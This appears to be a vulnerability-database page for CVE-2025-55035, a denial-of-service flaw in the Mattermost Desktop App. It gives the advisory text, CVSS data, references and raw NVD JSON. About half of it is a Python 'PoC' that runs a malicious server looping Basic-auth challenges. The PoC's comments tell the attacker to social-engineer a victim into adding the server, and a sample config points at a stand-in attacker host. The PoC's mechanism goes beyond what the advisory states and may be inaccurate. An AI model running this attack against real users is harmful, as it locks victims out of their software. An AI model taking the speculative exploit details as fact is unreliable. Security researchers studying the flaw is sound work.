CVE-2025-55035

Description

Mattermost Desktop App versions <=5.13.0 fail to manage modals in the Mattermost Desktop App that stops a user with a server that uses basic authentication from accessing their server which allows an attacker that provides a malicious server to the user to deny use of the Desktop App via having the user configure the malicious server and forcing a modal popup that cannot be closed.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:mattermost:mattermost_desktop:*:*:*:*:*:*:*:* - VULNERABLE

Mattermost Desktop App <= 5.13.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-55035 PoC - Mattermost Desktop App Modal DoS
# This PoC demonstrates how to set up a malicious server that triggers
# an unclosable modal popup in Mattermost Desktop App <= 5.13.0

# Step 1: Create a fake server that uses Basic Authentication
# and returns responses that trigger the modal popup issue

from http.server import HTTPServer, BaseHTTPRequestHandler

class MaliciousServerHandler(BaseHTTPRequestHandler):
    """
    Malicious server handler that exploits CVE-2025-55035
    by sending repeated authentication challenges that cause
    the Mattermost Desktop App to display unclosable modal popups
    """
    
    def do_GET(self):
        # Send 401 Unauthorized with WWW-Authenticate header
        # This triggers the Basic Authentication modal in Mattermost
        self.send_response(401)
        self.send_header('WWW-Authenticate', 'Basic realm="Mattermost"')
        self.send_header('Content-Type', 'text/html')
        self.end_headers()
        
        # Send content that forces the modal to re-trigger
        response = b'''<html><head>
        <meta http-equiv="refresh" content="0;url=/">
        </head><body>Authentication required</body></html>'''
        self.wfile.write(response)
    
    def do_POST(self):
        # Always reject POST requests to keep modal active
        self.do_GET()
    
    def log_message(self, format, *args):
        # Suppress log output
        pass

def run_malicious_server(host='0.0.0.0', port=8080):
    """Run the malicious server"""
    server = HTTPServer((host, port), MaliciousServerHandler)
    print(f"Malicious server running on {host}:{port}")
    print("Instruct victim to add this server URL to Mattermost Desktop App")
    server.serve_forever()

if __name__ == '__main__':
    # Attack workflow:
    # 1. Host this malicious server
    # 2. Social engineer victim to add the server URL in Mattermost Desktop App
    # 3. When the app connects, it triggers an unclosable authentication modal
    # 4. Victim cannot close the modal, effectively DoS-ing the desktop app
    run_malicious_server()

# Alternative exploitation via server configuration file:
# An attacker can also create a malicious server configuration
# that when imported, triggers the vulnerability:

MALICIOUS_CONFIG = {
    "version": 1,
    "servers": [
        {
            "name": "Malicious Server",
            "url": "http://attacker-server.com",
            "username": "victim",
            # The authentication type triggers the modal popup
            "authType": "basic",
            "authData": {
                "username": "victim",
                "password": ""
            }
        }
    ]
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-55035
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-55035
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-55035/
[4] VulDB https://vuldb.com/cve/CVE-2025-55035
[5] https://mattermost.com/security-updates

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-55035", "sourceIdentifier": "[email protected]", "published": "2025-10-16T16:15:38.403", "lastModified": "2025-10-29T18:31:15.987", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost Desktop App versions <=5.13.0 fail to manage modals in the Mattermost Desktop App that stops a user with a server that uses basic authentication from accessing their server which allows an attacker that provides a malicious server to the user to deny use of the Desktop App via having the user configure the malicious server and forcing a modal popup that cannot be closed."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:N/I:N/A:H", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-754"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_desktop:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.13.1.0", "matchCriteriaId": "DF3A3DC2-7803-4FCA-BF64-0B784C497862"}]}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}